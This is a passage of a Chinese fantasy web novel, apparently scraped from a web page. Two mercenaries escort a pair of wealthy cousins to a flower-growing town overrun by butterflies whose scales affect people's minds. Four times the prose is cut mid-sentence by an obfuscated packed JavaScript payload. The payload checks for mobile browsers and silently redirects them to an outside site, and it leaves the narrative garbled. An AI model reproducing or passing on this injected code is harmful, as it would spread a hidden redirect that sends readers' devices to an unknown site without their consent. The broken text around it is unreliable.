“如果你有什么紧急的事。”拉维妮娅打开酒馆的大门，“最好快一点说，或者先找阿诺德和米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879062|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉——我是真的快要睡着了。” “好吧。”杰拉尔德说，“那么我长话短说。有个到莫德镇送货的委托，一趟三十金镑，你有兴趣吗？” “我？” “我记得你说过要接委托，而我现在刚好缺一个搭档。”杰拉尔德说，“我记得你在狩猎四足鸟的时候枪法不错。而且只是送货，不会有什么大事。” “真的吗。”拉维妮娅干巴巴地说，极力睁开上下打架的眼皮，“我上一次看见你送货可是碰见了成年沙蜥，它脑袋上那块导体矿的钱现在还没花完呢。” “从某种角度来说，这是件好事，至少你赚到了钱。”杰拉尔德耸耸肩，“没关系，你可以先睡一觉再考虑这件事——你看起来确实快睡着了。” …… “所以你们要去隔壁镇上送货？”艾希莉坐在吧台边的椅子上，摇晃着双腿，“能带上我吗？” “我们只是去送个货，艾希莉。”拉维妮娅说，“这没什么意思。” “但你们差不多要去三天，不是吗？”艾希莉兴致勃勃地说，“就像野营一样，多有意思啊。” “不，和野营不一样。你可能会遇见房子那么大的蜥蜴，然后被它咔嚓一下吃掉。” “哦。”艾希莉顿了一下，看起来有点退缩了，“听起来你见过那种怪物。” “亲眼所见，我发誓。” “那真是——太有趣了！”艾希莉从椅子上蹦下来，抓住拉维妮娅的胳膊，拖长了嗓音说，“带我去吧，拜托？拜托——” “拉斐尔。”拉维妮娅叹了口气，“你不打算管管你的表妹吗？” “我管不住她，你之前也看到了。”拉斐尔看起来有点想笑，但他大概是凭意志忍住了，“而且——我其实希望你们能也带上我。” “你是认真的吗？你又来凑什么热闹？” “你们要去莫德镇，对吧？”拉斐尔的身体向前倾了倾，这是他要开始长篇大论的征兆，“这里是因为彼得.莫德得名的，他是个植物学家，为了研究才住在无人区，据说他对温度控制法阵的应用程度是数一数二的，因为这个技术，才在观赏性花卉产业一骑绝尘——他养出的花永远是最大、最漂亮的，花瓣上会有一种梦幻般的光泽。” “所以这是个研究学者，还是个花卉商人。”拉维妮娅摸着耳垂思考道，“我好像有些印象了，每年的温室花展都有那么几盆花是他的。” “而且他几乎每次都是花卉评选的冠军。”拉斐尔补充道，灰眼睛里透出一种狂热，“他的每篇论文都会收到无数讲座邀请，但他每年只答应一两个——现在是个绝好的机会，我可以亲自去拜访他，请教法阵魔法的应用问题。” “大少爷，我们是去送货的，不是去过家家的。”杰拉尔德抱着胳膊说，“又是野营又是学术研究，这种服务要另外算钱。” “哦，没问题。”拉斐尔说，“我正要和你们说这件事，今早我收到我哥的回信了，他给我寄了点钱——” 16. 第 16 章 他随意地伸手进衣兜，抽出一叠面值大得吓人的金镑券。 “——我终于可以结清上次的委托费了。” 拉维妮娅和杰拉尔德几乎同时伸手，把拉斐尔手里厚厚的一叠金镑券按回了他的口袋里。 “如果你还想拥有这些钱。”拉维妮娅真诚地说，“那么你最好不要在公共场合把钱拿出来。” 拉斐尔看上去有点没反应过来。 “但是，呃，委托费……” “在合适的时候！”拉维妮娅感觉自己的表情有点扭曲，“现在显然不是合适的时候，记得你的行李是怎么被骗了吗？” “哦。”拉斐尔有些慌张地看了看四周，“好的、我、我们晚些再……再讨论。” “带上他们吧，这不是挺有意思的吗？”阿诺德在吧台后笑呵呵地说，还在擦着他的玻璃杯，“左右也不过是几天时间。” “你是认真的吗，阿诺德？”拉维妮娅双手撑在吧台上，“你也看到了，这两位可完全不像从之前的经历里吸取了教训的样子。” “突然间变得成熟是不可能的，你也是一样，拉维。”阿诺德放下手里灰扑扑的抹布，空出一只手来拍了拍拉维妮娅的发顶，得到了年轻女士不满的抗议。 “嘿！你的手刚碰过抹布！” “冷静点，拉维。我只是觉得，你们的年龄都差不多，应该能相处得愉快——而且看起来那位小先生确实很有钱。” “这倒是个充足的理由。”在金钱的压力下，拉维妮娅小姐迅速冷静了下来，“……仔细想想两三天也没什么大不了的。” “这就对了，看来你想得挺明白的嘛。” “那么就到了最关键的问题。”杰拉尔德说，“你能给多少委托费，大少爷？” “五十金镑怎么样？” “五十？其实不……” “每人每天。” “……” “怎么了？”拉斐尔歪了歪脑袋。他额头两侧的头发有些过长了，棕色的卷发像某种犬类的耳朵一样落到一边。 “如果你们觉得不够，我还可以再加。” “足够了。”拉维妮娅的表情有点恍惚，“这么多就够了，我怕我会忍不住一直加价的。” “那就这么说定了。”拉斐尔笑着说，“在离开无人区之前还能拜访到莫得男爵，真是意外之喜。” “太好了！”艾希莉扑过来搂住表哥的肩膀，“来无人区果然是正确的选择！我从十岁起就等着这一刻了——一场伟大的冒险！” “……我现在再说我们只是去送货的是不是也没用了？”拉维妮娅叹了口气，“算了，冒险就冒险吧。” 很久以后，当拉维妮娅再次回想起这个下午，她几乎可以笃定，这就是艾希莉乌鸦嘴的开始。 而这件事初现端倪，是在他们出发去莫德镇一天之后。 当天晚上，在意外出现之前，他们正在扎营，像艾希莉希望的那样，生起篝火，象征性地烤热了带来的干粮。 “所以你们是要给莫德爵士送货！”拉斐尔看起来快要跳进篝火里，“你们怎么不早说呢！” “我看不出有什么说的必要。”杰拉尔德靠在马车旁边，慢慢地啃着一块硬面包，“告诉你对我有什么好处？” “但那是莫德爵士，你难道不想多了解他一点吗？” “我对雇主的生平没有兴趣。”杰拉尔德干巴巴地说，“而且我这里应该也没有什么你想要的信息。” “但是——” “等等，我有个问题。”拉维妮娅说，“如果像你之前说的，莫德爵士的花卉生意有一条完整的产业链，从石碑镇到莫德镇的货运只是这个产业链的一环，那么这个工作应该是有人长期负责的——如果每次都委托给不同的佣兵，那也太不稳妥了，不是吗？” “好问题。”杰拉尔德说，“我得到的消息是，之前负责这块货运的佣兵身体出了些问题，他们需要临时找人顶上，不然这活也轮不上我们。” “身体问题？所有人？” “所有人。但不是你想的那样，其中一个是喝醉了从马上跌下来，摔断了肋骨；另一个一直有肺病，最近天气冷，旧病复发了。” 拉维妮娅眯起眼睛。 “这可太巧了。” “是啊，太巧了，但是确实找不出什么毛病来。”杰拉尔德咽下最后一口面包，“而且如果这次顺利，他们会考虑长期雇佣的，这可是个肥差，就算有这种巧合也值得冒险。” “是啊。”拉维妮娅说，“主要原因还是我们太缺钱了。” “别这么说。”拉斐尔说，“能为莫德爵士工作可是千载难逢的机会，要是我，就算是摔断肋骨也要冒这个险。” “我们可不可以不要讨论肋骨了？”艾希莉龇牙咧嘴地撕下一块面包，“听起来好痛。” “那不如来聊聊你吧。”拉斐尔说，“你回去之后不打算读女校了？” “……我不想读。”艾希莉闷闷地说，“但是我今年已经成年了，就算不读，也得到处参加舞会。” “舞会也挺有意思的。”拉斐尔安慰她，“起码比寄宿学校好，不会有人突然把你的头摁进小便池里。” “那是因为你不用急着找个丈夫。”艾希莉撅着嘴说，“真不知道妈妈是怎么想的……明明她自己当年冒着被爷爷赶出家门的风险选了老爹，现在却指望我找个有钱的贵族，从此衣食无忧什么的。” “姨妈一定也有她的考虑。”拉斐尔说，“况且姨夫当年也很富有，他只是没有爵位罢了。” “但是……但是……”艾希莉的蓝眼睛在火光里涌起一阵又一阵浅蓝色的光晕，“他们不能在自己那么选了之后，又要求我不那么做。明明他们是可以理解的，不是吗？孤注一掷的冒险。” “这和你冒冒失失跑到无人区来可不太一样。”拉斐尔说，“而且，也许正因为他们了解，才想让你的人生简单一些。” “哇，说的真有道理。”艾希莉歪着头，吃吃笑着说，“你现在听起来就像尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879063|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金。” “我哥他才不会说——很像吗？” “你们两个长得就挺像的呀。”艾希莉还在笑，“就是尤金更……更……嗯，更呆一点。”她确信地说，“我简直没法想象他在舞会上邀请女伴跳舞的样子，哈哈哈……拉斐尔，你想跳舞吗？” “跳舞？现在？……好吧，也不是不行。”拉斐尔扶着膝盖从火堆旁站了起来，“来吧，小淑女。不过我真的不太会跳舞，所以如果踩着你的脚，我先道歉。” 他们在篝火旁像真正的舞会上那样行礼和回礼，然后莽撞地开始转圈，即没有节奏也没有方向。艾希莉咯咯地笑，哼着一首跑调的舞曲——也许根本不是舞曲，那调子听起来很滑稽，像她临时编出来的。 “你有去过吗？” “什么？”拉维妮娅把视线从那对表兄妹身上收回来，疑惑地看着杰拉尔德。 “舞会。”杰拉尔德说，“或者女校，随便吧。” “我没去过寄宿学校。”拉维妮娅说，“我们家的孩子太少了，只有我一个，所以他们给我请了家庭教师。” “舞会我倒是去过，只是那时候我还不到能跳舞的年纪——哦，舞会上的蛋糕和小吃一般都不错。” “所以你去舞会就为了吃饭？” “也不能这么说，大多数时候是为了帮道林脱身。” “道林？” 拉维妮娅沉默了一下，目光迟滞地挪动到不远处的篝火上，好像在疑惑为什么说出了这个名字。 她很快意识到了什么，向后退了一步，瞳孔骤缩，皱着眉头打量四周。 “杰里。”她说，“有什么不对。” “什么？”杰拉尔德迅速站直了，右手按在剑柄上。 “从刚才开始所有人的反应都太奇怪了。”拉维妮娅的视线渐渐锁定在篝火旁，“突然的情绪宣泄，跳跃的话题，莫名其妙的回忆……还有这两位绅士和淑女，一般情况下他们也不会突然开始跳舞吧？” “……你说得对，有什么东西影响了我们。”杰拉尔德的目光冷下来，“真奇怪，就像魔法一样……” “你看那是什么！” 拉维妮娅突然向篝火旁冲过去，在那一瞬间，篝火旁的石块上像是飘起了几片细碎的月光。那甚至比月光更美一些，带着太阳折射般的光晕。 “拉维妮娅！”杰拉尔德几乎和拉斐尔表兄妹同时叫出声来，后者终于停下了八音盒小人似的转圈舞蹈，露出大梦初醒般的表情。 “拉维！”艾希莉一下子扑到拉维妮娅旁边，“你怎么了？我看到你突然倒下来……” “我没事。”拉维妮娅的手掌紧紧地拢着，“看起来是它的问题。” 她挣扎着从地上坐起来，对着火光，小心地把合拢的手掌露出一丝缝隙。 艾希莉几乎是第一个凑上去，接着又呆呆地挪开视线。 “哇。”她说，“它好漂亮。” 微弱的火光下，拉维妮娅的手心里躺着一只流光溢彩的蝴蝶。 17. 第 17 章 “蝴蝶？这里怎么会有蝴蝶？”拉斐尔茫然地眨了眨眼，似乎还没有完全清醒过来，“不对，这个天气怎么会有蝴蝶？” “不知道，这就是奇怪的地方。”拉维妮娅把蝴蝶关进防风灯的玻璃灯罩里，看着它不停地撞向灯罩上反射的火光。 “而且这里的蝴蝶不止一只。”杰拉尔德收回看向远处的视线，若有所思地说，“刚才的石头后面起码有五六只——它们像是也在这里避风。” “不，不对。”拉斐尔晃晃脑袋，“就算是这样，那和我们刚才的状态又有什么关系？中毒？” 他开始来回地踱步，火光下的影子一次又一次地越过关着蝴蝶的灯罩：“可我们根本没碰到蝴蝶。没有肢体接触的话，那就是吸入，但吸入……生物信息素？磷粉？几只蝴蝶产生的剂量实在太微小了……” “这样说来。”他突然停下来，“是不是一氧化碳中毒的可能性大一点？” “……” “怎么了？”拉斐尔看着面前一言不发的三人，“你们知道的，木柴不完全燃烧产生有毒气体……” “那你也应该知道，在密闭的房间里才容易中毒。”拉维妮娅说，“我们现在又不在山洞里，这儿空旷得不能再空旷了，风都快把火吹灭了。” “……我其实不太知道有毒气体什么的。”艾希莉有些犹豫地接话说，“但是我觉得拉维说的对。” “……好吧，我也知道。”拉斐尔懊恼地说，“但要说是因为蝴蝶也太奇怪了……” 他凑近了灯罩，看着那只蝴蝶——它还在疯狂地左冲右突，撞到灯罩上，发出清脆的“砰砰”声。 “真奇怪……”他喃喃道，“真奇怪……” “怎么了，杰里？” “是很奇怪。”杰拉尔德说，“风向好像变了。” 拉维妮娅意识到了什么，转头看向篝火。 在几根柴火间忽明忽灭地闪动着，旷野上的寒风把那簇火苗吹得偏向一边。而不知道什么时候，火苗偏向已经改变，像时钟的指针突然跳过一个角度。 “你是说，现在这个时间，风向确突然改变了……这中间有问题？” “我不好说。”杰拉尔德皱着眉头说，“但这不像是什么好事，我们最好别在这里久待。” “好吧，我明白了。”拉维妮娅叹了口气，“我现在去套上马车。” “什么，我们就要走了吗？”艾希莉茫然地从灯罩里的蝴蝶上移开视线——与拉斐尔不同，她只是纯粹地观赏蝴蝶月光下闪光的翅膀。 “我还以为我们要在这里过夜呢？” “本来是要过夜的。”拉维妮娅说，“但是现在这里不太适合过夜了，我们要早些走——说真的，杰里，上次这样还是碰见沙蜥的时候，这到底是你的问题还是我的问题？” “既然你问了。”杰拉尔德把熄灭篝火，托着拉斐尔和艾希莉先上车，“那就是你的问题。” “嘿！冰块脸！” 拉维妮娅松了一下缰绳，套好的马突然往前走了两步，差点把要上车的杰拉尔德拽倒。 年轻的佣兵往前跑了几步，顺势跃上马车。 “报复心真强，下垂眼小姐。” “我们彼此彼此。”拉维妮娅说，“坐稳了吗？这回真的要走了。” “等等——！” 一个声音大喊道，却不来自马车里的任何一个人。 “什么人？”拉维妮娅一手拽住缰绳，一手按在左轮的枪柄上，看见一个模糊的人影在黑暗里由远及近。 “这是我该问你们的。”人影喊道，“你们到莫德镇来做什么？” 远远看去，这人的头大得有些不太正常，身后有块黑色的长条状阴影——大概率是猎枪。 拉维妮娅不动声色地抽出了左轮。 “这里可不是莫德镇。”杰拉尔德从马车上跳下来，“就算你是莫德镇的人，这里离莫德镇也太远了，甚至不是夜巡该到的地方。” “嘿，嘿，你们误会了。”来人举起双手说，“我没有恶意，只是你们不该到离莫德镇这个距离的地方来，还不做任何防护措施——诶，看来你们还不知道。” 人影走得更近了些，拉维妮娅意识到，先前觉得怪异的头部实际上是一顶帽子，只是它像养蜂人的帽子一样，几乎包裹住了整个头部，只留出一对眼睛的空隙。 “你们得找点什么遮住口鼻。”那人说，“最近这里有不少怪事，空气里有东西会让人发疯——怪物也是，我们不得不扩大夜巡的范围，好防止那些发狂的怪物接近镇子。” “是什么？” “蝴蝶磷粉。我知道这听起来很奇怪，但最近的蝴蝶都快要把镇子淹了。” “真的是蝴蝶！”艾希莉从马车里伸出头来，感叹道，“谢谢您提醒我们，好心的先生！” “不客气。”男人向他们微微躬身，“多亏了莫德爵士，现在镇子上都是文明人了。” “我们今晚想到莫德镇过夜。”杰拉尔德说，“能麻烦您带路吗？” “当然。”那人说，“稍等，让我通知一下我的同伴——你们有用来遮住口鼻的布料吗？如果没有，我问问他们有没有多余的——不用？好吧。” 他向稍远一些的地方喊了几声，就领着马车向前走去。马车翻过一个土丘，有几个人在土丘下方等着他们。男人上前，和他们说了两句，其中几个人继续往另一个方向去了，只留下一个身材高大的男人，沉默着带着他们继续向前。 “差点忘了介绍自己。”男人说，我叫卡洛斯，这位是卡里斯托，咱们夜巡队里最年轻的小伙。” 他的同伴对此依旧报以沉默。 “哈哈，他不太喜欢说话。”卡洛斯说，“别看他这样，他们家世代都是猎人，他可是狩猎的一把好手。” “卡洛斯叔叔。”这位叫卡里斯托的年轻小伙终于开口，声音带着一种沙哑的低沉，“别总是说我了，您的大儿子最近不是也想加入夜巡队吗？他才是年纪最轻的呢。” “那孩子还不够格呢。”卡洛斯摆摆手说，“况且他在教堂里帮忙挺好的，我还希望他多干几年。” “这里原来还有教堂？”艾希莉小声问，“我在格雷菲尔和石碑镇都没有见过。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879064|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“有些地方有。”杰拉尔德说，“大概是一种维持凝聚力的好方法——不过他们供奉的神分别是什么就很难说了。” “说大声点。”拉维妮娅拖长了声音说，“我们好心的朋友还在前面带路呢。” “哦，别担心。”约翰逊回过头来，“我们是正统教会，信仰至高神安布罗斯。我们的神父大人来自教皇国，是最正统的传教士。” “这也是多亏了神父大人和莫德爵士的共同努力。” “听起来，这位莫德爵士真是位大好人。” “那是当然！”约翰逊骄傲地说，“莫德爵士还把培育花卉的窍门教给我们，又由他亲自联系销售到城里去，现在每家每户都能靠种花赚到不少钱。” “他真是个伟大的人！”拉斐尔赞同道，“居然就这样将自己的研究成果无私地分享给他人，完全放弃了专利费！” “是啊！”约翰逊说，拉维妮娅怀疑他根本没听明白专利费是什么，“莫德爵士是我们所有人的恩人！” 他们又聊了一会，直到一段时间后，卡里斯托突然开口。 “——我们要到了。”他说，语气平淡，似乎不含任何情感，“你们都做好防护了吗？最好把整张脸都遮起来。” 他们很快就知道卡里斯托为什么要这么说了。 马车只刚一驶进镇子，拉维妮娅就感觉到一阵细密的微风，带着一种诡异的压迫感，从各个方向响起来，几乎将她包裹在其中。 她愣了一小会，后知后觉地意识到，这是蝴蝶振翅的声音。 镇上的居民大部分早已熄灯休息，黑暗里，拉维妮娅只能看见昆虫模糊的影子。那些带着磷粉的翅膀几乎要扑到她脸上，翅膀扑出的微风和那些脆弱的、柔软的翅膀本身，接连不断地擦过在镇子中行进的人。即使是隔着衣物，这种密密麻麻、若即若离的触感还是让拉维妮娅起了一身鸡皮疙瘩。 “我会把你们带到离镇子边缘最近的旅馆。”约翰逊说，他的声音在铺天盖地的振翅声中显得有些朦胧，“莫德先生的宅邸要离这边远些，如果你们要拜访他，最好等到明天早上。” 他口中的旅馆很快到了，一个高瘦的女人披着睡衣给他们开门，抵着门口的一条小缝让他们赶紧挤进去。 “快点，我可不想看见一房间的虫子。”她厌恶地说，细瘦的手掌不住地向外扇着风，试图驱赶向着光源的蝴蝶。 但这显然没起到太大用处，几只蝴蝶和住客一起挤进了旅馆前门，引得女人一阵不耐烦的抱怨。 “三个银镑，你们的房间在二楼。”她从前厅柜台的盒子里掏出几把钥匙，又重新把盒子锁上，一只手的手指串起那几把钥匙，另一只手摊开伸到他们面前。 在拿到银镑后，她满意地收回手，把钥匙随意地扔给他们，打着哈欠坐到吧台后面。“如果有什么需要再来找我。”她说，但看上去不想再和他们说话了。 窗外的蝴蝶渐渐停下了扑打的翅膀，像某种植物一样安静地扒在窗户上。今晚实在是有些耗费心神，因此谁也没对旅馆做出多少纠结，他们几乎是摸黑进了房间，很快就进入了梦乡。 18. 第 18 章 拉维妮娅在做梦。 她知道的很清楚，因为父亲正拉着她的手穿过老宅里长长的走廊，而她的个头只能够到走廊上画框的底部。 哪里都不对，不管是她的身高，还是这个宅子——拉维妮娅八岁后就不住在这里了，等待着它的结局大概和那一长串画框里的家族先祖一样，在沉默里被时间磨成一堆飞灰。 但她就是醒不过来。 这是一种很罕见的感觉，她在梦境里一直向前，那条黑沉沉的走廊似乎永远没有尽头，父亲的脚步沉甸甸的，衬得她的呼吸急促又清浅。她试图发出声音，或是挣脱梦中人的手，但父亲的手就像儿时一样，带着无法反抗的力度，而即使她说出什么，走廊里也只有清晰的脚步声。 真奇怪，她想。 父亲低下头，和她说了些什么，声音温和。他几乎总是这么和她说话，即使他通常看起来沉默又疲惫，拉维妮娅一年到头也见不到他几次。 也许是她又想起了一些过去的事，走廊突然开始晃动，斑驳的红色墙纸和那些厚重的雕花画框一起扭曲起来，连带着周围的一切都像蜡油一样融化，汇入到一个巨大的深红色漩涡中。 拉维妮娅向下坠去，即使是在梦中，她依旧下意识地抓紧了父亲的手——但那只手像雾气一般消散了。 她的一条小腿抽动一下，踢在什么东西上。 刺目的白光里，拉维妮娅睁开眼。 “嘿！” 书房的窗台上，她从一堆柔软地靠垫里猛地坐起来，身上是柔软的衣裙，膝盖上还放着一本摊开的书。在她对面，一个少年正龇牙咧嘴地揉着自己的小腿，漂亮的棕色眼睛眯起来，纤长的睫毛投下一小片阴影，落在他眼角的小痣上。 他们有着如出一辙的亚麻色头发。 “你刚才踹在我小腿上了。”少年控诉道，“睡迷糊了？” 拉维妮娅模糊地应了一声，感到一阵茫然。她愣愣地看向窗外，那里只有一片朦胧的白雾。 “……好吧，其实也没那么疼。”少年盘起腿坐在窗台上，“你到底怎么了，拉维？没事吧？” “……没事。”拉维妮娅恍惚地说，“抱歉，道林……我就是，好像做了个梦。” “做梦？”少年露出一个柔软的微笑来，“梦见什么了，反应这么大？” “父亲。还有……” “兄长？你想他了吗？听医生说他最近状况不太好，也许我们下午可以去看看他……拉维妮娅？” 还有…… 还有什么？ 我到了一个原来从未想过的地方，继承了一家酒馆，拉维妮娅想。 为什么？我是为什么离开阿尔伯恩，离开家？ 母亲？ 父亲？对了，父亲他…… 但是道林呢？ 不对。拉维妮娅看着面前的少年，他还在探询地望着她，眼神里只有纯粹的关切。 这不是道林，不是现在的道林了。她想，我真的知道他是谁吗？ 我离开阿尔伯恩，是因为…… 拉维妮娅睁开眼，直直地瞪着旅馆天花板上的几块霉斑，剧烈地喘了几口气。 这下她真的醒了。 窗外的天色已经大亮，也许是因为到了白天，蝴蝶不知疲倦地扑腾着翅膀，像没头苍蝇似的飞来飞去，不时地撞在窗户上。那些轻盈纤薄的翅膀胡乱地叠加在一起，显得屋内灰蒙蒙的，照不进阳光。 这扇窗户外侧有一个突出的小阳台，上面放着几盆花。如果没有铺天盖地的蝴蝶，这也许会是个颇有情调的装饰，但现在，花盆上落满了翅膀皱缩、身体蜷曲的蝴蝶——现在不是一个适合蝴蝶生存的季节，它们的生命很容易地消逝在了寒风里。 拉维妮娅看着这些密密麻麻的虫子尸体，感到一阵恶心。此时，门口响起了敲门声，她不再看向窗外，走到门边去开门。 等在门口的是杰拉尔德。 “早上好。”他说，“我之前敲了好一阵了，你没什么事吧？” “……做了个不太好的梦。” “是吗。”杰拉尔德停顿了一下，接着说：“长话短说吧，我先去把货交给莫德男爵，你在这看着他们两个。之后半天时间随他们干什么，我们今晚就离开这个鬼地方。” 他看上去没怎么睡好，下巴上还冒着胡茬。拉维妮娅猜他也没梦见什么好事。 “我知道了。”她说，“但拉斐尔不是要拜访那位莫德爵士吗？你为什么不带他一起去？” “我没兴趣看两个贵族互相寒暄。”杰拉尔德抱着胳膊说，“这事还是交给你了，大小姐。” “别这么叫我了。”拉维妮娅厌恶地说。放在往常，她其实并没有什么所谓，但刚才的梦让她的心情糟了不少，尤其不想想起被称作大小姐的日子。 “好吧，拉维妮娅。”杰拉尔德耸耸肩，“那么就说到这吧，我相信我们已经达成共识了。” 他打着哈欠转身离开，刚好撞见从房间里冲出来的艾希莉。短暂的交谈后，金发少女雀跃地向拉维妮娅跑来。 “拉维。”艾希莉挽住她的手，脸上的雀斑欢乐地跳动着，“我们去楼下吃早餐吧，挑个窗边的位置——这里有好多蝴蝶！我得好好看看，最好能把它们记下来。妈妈绝对不会相信我看到了什么……这可比舞会有意思多了！” 少女一蹦一跳地下楼，嘴里兴奋地说个没完。木质楼梯在这种剧烈的震动下咯吱作响，换来楼下一声尖利的咒骂。 她们走到楼下，拉斐尔已经在大厅里，正满脸歉意地和昨晚见到的女人说着什么。女人回头看了看她们，又看了看塞到手里的银镑，恹恹地转身离开。 “你在做什么，拉斐尔？”艾希莉叫道。 “我刚给我们买了早餐。”拉斐尔说，“你们吃过早餐了吗？……太好了，不过这里似乎只有一种早餐，所以我擅自帮你们决定了，希望你们不要介意……” 大厅里只稀稀拉拉地坐了几个客人，艾希莉轻而易举地就找到了她想要的靠窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879065|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位置，她正对着窗户坐下，双手捧着脸，睁大眼睛看着窗外铺天盖地的蝴蝶。蝴蝶还是不时地撞到窗户上，有些也许是撞得太厉害了，粉身碎骨地在玻璃上成为一滩污渍。 拉斐尔看起来有点犯恶心，一只手撑住额头，挡在窗户的一侧，好让自己暂时忘记窗外的景象。但他的表妹似乎丝毫不受影响，仍旧兴致勃勃地看着。 “呃，所以，我打算先给莫德先生送封信。”拉斐尔半挡着眼睛，斟酌着说，“如果他回复的话……” “等一等。”拉维妮娅说，“你的意思是要等他回信同意才行？他要是几天之后才回信，或者一直不回信怎么办？” “可是，拜访前先告知是基本的礼貌……” “那么你在门口告诉他一声也是告知。”拉维妮娅硬邦邦地说，“别想着写信的事了，一会吃完早饭我们就去拜访他。” “可……” “你难道想在这里待几天？”拉维妮娅压低声音说，“看看那些蝴蝶吧，这地方不对劲。” 拉斐尔从手指的缝隙里向窗外瞥了一眼，又很快收回视线，低下头看着桌上的污渍，默认了拉维妮娅的话。 “我们今天就要走了吗？”艾希莉像刚反应过来似的，眨巴着眼睛在他们俩中间来回转，声音里充满了可惜。 得到肯定的答案后，她的眼睛又遗憾地转回蝴蝶上了。 “久等了，各位。”一个矮胖的男人给他们送来了早餐，他有些跛脚，盘子在他手里晃动着，看起来摇摇欲坠，“抱歉我们只有这些，最近物资紧缺。” 拉维妮娅望向盘子，里面只有一个煎蛋和几块土豆。男人又从臂弯挎着的篮子里掏出了几片面包给他们，从面包和盘子撞击出的声音看，它们大概和石头没什么区别。 “谢谢。”艾希莉说，“这些是你的妻子做的吗？这是你们的店？ “妻子？”男人惊讶地瞪大眼睛，“你是在说萨拉吗？哈哈，不，她是我妹妹。” 他看了看自己的跛脚苦笑着说：“像我这样的男人大概这辈子都找不着妻子了。” “哦。”艾希莉看上去有些尴尬，她想了想，握着双手，真诚地说：“别担心，先生，不结婚也挺好的。” 这大概是她发自内心的祝福了，不过显然不是一般情况下非自愿单身汉愿意听到的答案。男人对他礼貌地点一点头，转身离开了。 “诶，可怜的萨拉。”在他们不远处的桌子旁，一个头发花白的老妇人感叹到，“要不是有这么个哥哥，她早该嫁出去了，何必留在这里做老姑娘。” “这可不一定。”她对面的老头说，“山姆也用不着她一直照顾，是她自己脾气太坏了。” “如果你也伺候了自己哥哥和父亲二十几年。”老妇人举起她枯瘦的手指，点着老头的鼻子说，“你也会变成老疯子的——她现在这样已经很好啦。” “如果旅馆一直生意好，萨拉倒真有可能嫁人呢。”另一桌的中年男人插嘴说，他看起来有点醉醺醺的。 19. 第 19 章 “你们不知道吗？前几年萨拉总去和莫德爵士家的一个佣人说话，听说都已经谈婚论嫁了。”男人大着舌头说，“结果呢，老山姆突然病倒了，花掉了他们存的大部分钱——后来那佣人就再也没来找过她，她现在还得照料生病的老父亲，真是……诶。” 这可比窗外的蝴蝶有意思多了。拉维妮娅支着头，还想再听一会，可惜萨拉——他们之前见过的高瘦女人从厨房走了出来，那几个镇民立马闭嘴了。 萨拉插着腰在大厅里转了一圈，瘦长苍白的脸上，下撇的嘴角紧紧地抿着。不知道是不是因为长时间保持着这个表情，她的嘴角边有两条长长的皱纹，看起来刻薄又疲惫。她本该比她的哥哥更年轻的，可她现在却看起来像那个男人的妻子，甚至比他要更显得苍老一些。 镇民们有些心虚地偷偷看着萨拉，不过她好像没太在意。收走了几个空盘子后，她朝厨房里喊了一声，说是要去后院挤牛奶。她的哥哥一瘸一拐地走出来，接过她手里的盘子，又把一个罩着纱布的木桶放在她脚边。 拉维妮娅咽下最后一块土豆，把那块石板似的面包放进口袋里，开口提醒道：“我们差不多该出发了。” 拉斐尔从那对兄妹那儿收回视线，放弃了嘴里怎么也啃不动的面包，冲她点点头——那块面包上甚至没留下他的牙印。 “哦，我们要走了？”艾希莉睁大眼睛看着他们。 “艾希莉！”拉斐尔叫道，“你怎么一点也没吃？” “抱歉，开小差了。”艾希莉吐吐舌头，“我现在就吃！” 等到艾希莉终于吃完早饭，他们穿过半个镇子抵达莫德男爵的府邸前时，时间已经到了中午。 当然，这不能完全归咎于艾希莉。镇上的蝴蝶实在太多了，想要辨认正确的路显得有些困难。好在莫德男爵的院子非常显眼，在半道上就为他们指明了方向。 出于对礼貌的坚持，拉斐尔在宅子的门口和门房说了一声，让他先去通报莫德爵士。这里比起镇上其他居民的木屋和砖瓦房更像是一处小型庄园，能看见的前院里种满了花，最多的大概是蔷薇，在不符合它们的季节里娇艳地绽放着。 